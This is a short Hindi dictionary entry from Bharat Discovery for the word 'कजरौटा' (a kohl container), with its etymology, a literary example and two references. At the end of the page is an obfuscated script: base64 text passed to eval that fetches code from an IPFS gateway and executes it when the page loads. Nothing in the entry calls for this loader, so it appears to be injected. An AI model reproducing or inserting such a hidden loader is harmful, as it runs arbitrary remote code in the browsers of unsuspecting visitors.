कजरौटा

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

कजरौटा - (काव्य प्रयोग, पुरानी हिन्दी) संज्ञा पुल्लिंग (हिन्दी काजर+औटा प्रत्यय)[1]

कजरौटा - विशेषण (हिन्दी कजलौटा)

उदाहरण -

सो वाही समै वा वैष्णव के लरिका ने देख्यो तो प्रथम अनेक सोने रूपे की सिंगवारी और बड़े बड़े कजरौटे नेत्रवारी गाये दीखीं। - दो सौ बावन वैष्णवों की वार्ता[2]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हिंदी शब्दसागर, द्वितीय भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 744 |
  2. दो सौ बावन वैष्णवों की वार्ता, भाग 1, पृष्ठ 325, शुद्धाद्वेत ऐकेडमी, काँकरोली, प्रथम संस्करण

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>